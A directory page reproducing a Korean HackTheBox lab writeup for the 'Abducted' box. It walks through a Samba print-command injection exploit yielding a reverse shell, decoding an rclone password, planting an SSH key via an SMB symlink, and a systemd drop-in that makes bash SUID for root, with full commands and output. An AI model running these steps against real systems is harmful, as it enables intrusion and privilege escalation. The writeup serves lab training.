Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Abducted-HTB-Writeup — 🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → rclone 노출 → SMB 심볼릭 링크 → systemd 드롭인 → 루트 | Kitploit
도구/GitHubGitHub/timgad794/abducted-htb-writeup
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubtimgad794/abducted-htb-writeup

Abducted-HTB-Writeup

1개월 전아직 검토되지 않음
공유

🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → rclone 노출 → SMB 심볼릭 링크 → systemd 드롭인 → 루트

저장소 보기

🎯 HackTheBox — Abducted

** 난이도: ** 중간 · ** 운영체제: ** Linux · ** 카테고리: ** Samba CVE / 권한 상승

Status Platform OS Difficulty

작성자: @timgad794


📋 개요

Abducted는 전문 서비스 환경에서 침해된 로컬 파일 및 인쇄 서버를 시뮬레이션합니다. 이 박스는 Samba 인쇄 하위 시스템 취약점(CVE-2026-4480), rclone 자격 증명 유출, SMB 심볼릭 링크 공격, 그리고 systemd 드롭인 권한 상승을 연쇄적으로 연결합니다.

익스플로잇 체인:

Recon (nmap) → SMB enum (HP-Reception printer share)
  → CVE-2026-4480 (Samba %J command injection) → RCE as nobody
  → /opt/offsite-backup/rclone.conf (obfuscated password)
  → rclone reveal → cleartext password
  → SSH as scott → User Flag
  → SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
  → systemd drop-in (smbd.service.d) → SUID bash → root

🖼️ 스크린샷

초기 Nmap 스캔: Nmap 스캔

nobody 권한의 리버스 셸: 리버스 셸

SUID bash를 이용한 루트 셸: 루트 셸


🔧 1단계 — 정찰

1.1 호스트 항목

echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts

1.2 Nmap 전체 스캔

nmap abducted.htb -sCV -A -oN abducted-nmap.txt

결과:

포트서비스버전
22/tcpSSHOpenSSH 9.6p1 Ubuntu
139/tcpnetbios-ssnSamba smbd 4
445/tcpnetbios-ssnSamba smbd 4

3개의 열린 TCP 포트 — Linux 파일 및 프린트 서버입니다.


🔧 2단계 — SMB 열거

2.1 공유 목록 조회 (게스트 로그인)

smbclient -L //abducted.htb -N

출력:

Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)

주요 발견 사항:

  • HP-Reception — 게스트 액세스가 가능한 프린터 공유
  • transfer — 파일 전송 공유(나중에 심볼릭 링크 공격에 사용됨)

🔧 3단계 — 초기 접근: CVE-2026-4480

3.1 취약점

Samba는 클라이언트가 제어하는 인쇄 작업 설명을 셸 메타 문자를 이스케이프하지 않고 %J 자리 표시자를 통해 print command에 전달합니다. 이로 인해 인증되지 않은 공격자가 인쇄 서비스 계정으로 임의의 명령을 실행할 수 있습니다.

3.2 PoC 복제

git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30

3.3 리스너 시작

터미널 A:

nc -lvnp 8443

3.4 익스플로잇 실행

터미널 B:

cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception

예상 출력:

[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener

터미널 A:

Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$

이제 우리는 nobody로서 RCE를 보유하고 있습니다 (uid=65534).


🔧 4단계 — 침투 후 활용: rclone 자격 증명

4.1 셸 내 정찰

id
# uid=65534(nobody) gid=65534(nogroup)

cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus

4.2 rclone 구성 찾기

find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf

cat /opt/offsite-backup/rclone.conf

출력:

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

4.3 비밀번호 난독화 해제

rclone은 가역적 base64 난독화를 사용합니다. rclone 자체를 사용하세요:

# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw

출력:

iXzvcib3SrpZ

🔧 5단계 — 측면 이동: scott으로 SSH 접속

5.1 비밀번호 재사용

ssh [email protected]
# Password: iXzvcib3SrpZ

로그인 성공!

id
# uid=1000(scott) gid=1001(scott)

cat ~/user.txt
# 🟢 User Flag

🔧 6단계 — 측면 이동: scott → marcus

6.1 잘못된 구성

/etc/samba/shares.conf의 transfer 공유에는 다음이 포함되어 있습니다:

[transfer]
    path = /srv/transfer
    force user = marcus
    wide links = yes
    ...

의미:

  • force user = marcus — 모든 파일 작업이 marcus로 실행됩니다
  • wide links = yes — 심볼릭 링크가 공유 디렉터리 외부를 가리킬 수 있습니다

6.2 심볼릭 링크 공격

SSH 세션에서 scott 사용자로서:

# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k

# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys

# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'put /home/scott/k.pub keys/.ssh/authorized_keys'

검증:

smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"

6.3 marcus로 SSH 접속

ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)

중요: operators는 에스컬레이션을 위한 핵심 그룹입니다.


🔧 7단계 — 권한 상승: marcus → root

7.1 잘못된 구성

find / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d

ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators

operators 그룹은 smbd 서비스의 systemd drop-in 디렉터리에 쓰기 권한을 가집니다.

7.2 드롭인 하이재킹

marcus로서:

cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

재로드 + 재시작 (polkit은 operators가 비밀번호 없이 daemon-reload를 실행하도록 허용합니다):

systemctl daemon-reload
systemctl restart smbd

7.3 SUID bash 익스플로잇

/bin/bash -p
id
# → euid=0(root)

cat /root/root.txt
# 🔴 Root Flag

박스가 완전히 장악되었습니다. ✅


🏆 결과

플래그경로
🟢 사용자/home/scott/user.txt
🔴 루트/root/root.txt

📚 핵심 개념

개념적용
CVE-2026-4480Samba %J 프린트 명령 주입 → RCE
rclone 난독화 해제가역적 base64 난독화를 위한 rclone reveal
비밀번호 재사용svc-backup 비밀번호가 scott에도 통함
SMB 심볼릭 링크 공격wide links = yes + force user = marcus
systemd 드롭인 하이재킹smbd.service.d에 대한 쓰기 권한 → ExecStartPre
SUID Bashchmod +s /bin/bash + /bin/bash -p → euid=0
polkit 우회operators 그룹은 인증 없이 daemon-reload 가능

🧰 도구 및 참고 자료

  • CVE-2026-4480 PoC (TheCyberGeek)
  • rclone Reveal
  • Samba wide links
  • systemd Drop-in
  • Nmap

⚠️ 면책 조항

이 라이트업은 HackTheBox 플랫폼에서 수행된 승인된 침투 테스트만을 문서화합니다. 모든 자격 증명과 플래그는 랩 환경의 일부이며 프로덕션 시스템이 아닙니다.

⭐ 이 라이트업이 도움이 되었다면, 별을 남겨 주세요!

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

아직 인기 데이터가 없습니다.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →